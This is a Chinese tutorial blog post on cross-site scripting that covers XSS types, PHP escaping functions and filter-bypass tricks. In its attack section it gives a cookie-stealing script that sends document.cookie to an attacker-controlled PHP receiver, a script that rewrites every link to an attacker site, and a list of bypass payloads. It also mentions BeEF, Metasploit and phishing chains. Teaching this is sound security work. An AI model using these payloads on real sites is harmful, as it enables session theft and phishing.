XSS简介与应用

01 XSS简介

XSS原理介绍

  1. 介绍
    XSS(cross site scripting)跨站脚本攻击,发生在服务器

    恶意攻击者往web页面里插入恶意script代码,当用户浏览该页面时,代码就会被执行

  2. 实现过程

    1. 攻击者将恶意代码插入到服务器
    2. 其他用户无防备的情况下访问服务器
    3. 服务器将含有恶意代码的网页响应发送给客户端
    4. 用户的客户端中执行了恶意代码
  3. 可能存在XSS的地方
    留言板,聊天室,搜索等
    如果用户的输入能在网页上显示,就很可能存在XSS
    如果在URL中提交的参数值,在页面中显示,很有可能就存在XSS
    如果在表单中提交的参数值,在页面中显示,很有可能就存在XSS如果HTTP自定义头中提交的参数,在页面中显示,很有可能就存在XSS
    可以通过burpsuite抓包,修改HTTP头插入XSS

  4. XSS的危害

    1. 盗取用户账号
    2. 盗取用户cookie
    3. 劫持用户会话,执行其他操作
    4. 进行跳转、弹窗等
    5. 传播蠕虫

XSS分类

  1. 反射型XSS
    又称非持续型XSS,往往具有一次性,常发生在输入框中
    用户输入xss脚本<script>alert("xss");</script>
    如果出现弹窗,就说明存在XSS
    常用探测方式:

    • alert 弹出框
    • confirm 确认框
    • prompt 输入框
  2. 存储型XSS
    又称持久型XSS,攻击脚本存储在目标服务器等数据库中,隐蔽性强,常常发生在留言板中
    如用户在留言板中输入<script>alert(document.cookie);</script>
    其他用户访问留言板时就会出现弹窗并显示cookie值

  3. DOM型XSS
    DOM全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式

    攻击者的payload修改受害浏览器页面的DOM树,修改是在本地执行的,不会上传到服务器,因此DOM XSS难以检测

    服务器不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代码,触发XSS漏洞

02 XSS应用

XSS攻击方式

  1. 盗取cookie
    <script>document.location='http://ip/cookie.php?cookie='+document.cookie</script>
    其中cookie.php为自己编写的接收cookie的代码

    <?php
      $cookie=$_GET['cookie'];
     file_put_contents('cookie.txt',$cookie);
    ?>
    

    通过重定向将用户的cookie发送给攻击者,随后攻击者就可以使用cookie进行下一步攻击,如登录

  2. 篡改链接

    <script>
      window.onload=function(){
      var link=document.getElementByTagName("a");
      for (j=0;j<link.length;j++){
        link[j].href="http://attacker-site.com/";
    }
    }
    </scipt>
    

    当窗口加载时,执行匿名函数
    使用for循环获取所有a标签,将链接替换为攻击者的url,达到了网页跳转,刷流量的目的

  3. 结合beef的攻击
    通过重定向,运行beef生成的payload,达到浏览器劫持的目的,进行进一步攻击

  4. 结合msf的攻击
    通过重定向,运行msf生成的payload,与受害者建立session,获得shell,进行进一步攻击

  5. 结合钓鱼网站的攻击
    使用set工具制作一个克隆的钓鱼网站,在真实网站中添加跳转的XSS,使受害者跳转到钓鱼网站,获取用户输入的信息

  6. xss自动化挖掘工具
    xsser、xsstrike

XSS常用过滤函数

  1. htmlspecialchars()
    将预定义的字符&,",',<,>等转换为HTML实体,作为字符串输出
  2. htmlentities()
    会过滤用户输入的数据,将一些特殊字符转换为HTML实体
    例如会将<,>转换为&lt,&gt
  3. strip_tags(string,allow)
    对string进行过滤,allow中的字符除外
  4. 自己编写黑名单白名单进行过滤

XSS绕过方式

  1. 简单的探测方式
    输入一串不容易重复的字符,使用浏览器检查元素的功能查看用户输入被存储的位置,进一步分析闭合方式
    输入类似<script " ' OOnn>的字符串,根据显示内容,观察对特殊字符的过滤情况
  2. 常用的payload
    <script>alert('xss')</script>
    <script>confirm('xss')</script>
    <script>prompt('xss')</script>
  3. 双写绕过
    <scscriptript>alert('xss')</scscriptript>
  4. 伪协议
    javascript:alert('xss')
    可以用在a标签中
    在旧版本ie中也可以用在img标签中
  5. 利用事件
    windows事件、form事件、keyboard事件、mouse事件、media事件
  6. 大小写绕过
    HTML中不区分大小写,而JS区分大小写
    <Img sRc='#' OnERroR="alERt('xss')"/>
  7. 利用引号
    HTML中对引号不区分,而过滤函数有可能做了区分
    <img src=# onerror=alert('xss')/>
    <img src='#' onerror='alert('xss')'/>
    <img src="#" onerror="alert('xss')"/>
  8. 使用斜杠代替空格
    <img/src=#/onerror=alert('xss')/>
  9. 使用空格、tab和回车分隔开关键字
    <img src=# onerror=alert('xss') />
  10. 编码绕过
    <script>eval(atob('base64编码内容'));</script>
    atob函数执行base64解码功能
    eval函数将字符串当作程序执行
    也可以使用十六进制、unicode等编码
  11. 关注最新的HTML标签,往往没有被过滤
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342

推荐阅读更多精彩内容

  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,023评论 0 16
  • 看的是这个地方的视频:XSS注入[https://www.bilibili.com/video/av6193610...
    yumiii_阅读 3,779评论 0 1
  • XSS,即cross-site-scripting,跨站脚本攻击。 跨站脚本攻击是指通过存在安全漏洞的Web网站...
    喵喵喵不吃小鱼干阅读 1,508评论 0 3
  • XSS攻击 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS...
    BerL1n阅读 4,363评论 2 4
  • (一)XSS跨站脚本攻击 参考:XSS站脚本攻击 (1)XSS简介 XSS攻击全称跨站脚本攻击(Cross Sit...
    肆意咯咯咯阅读 3,534评论 4 3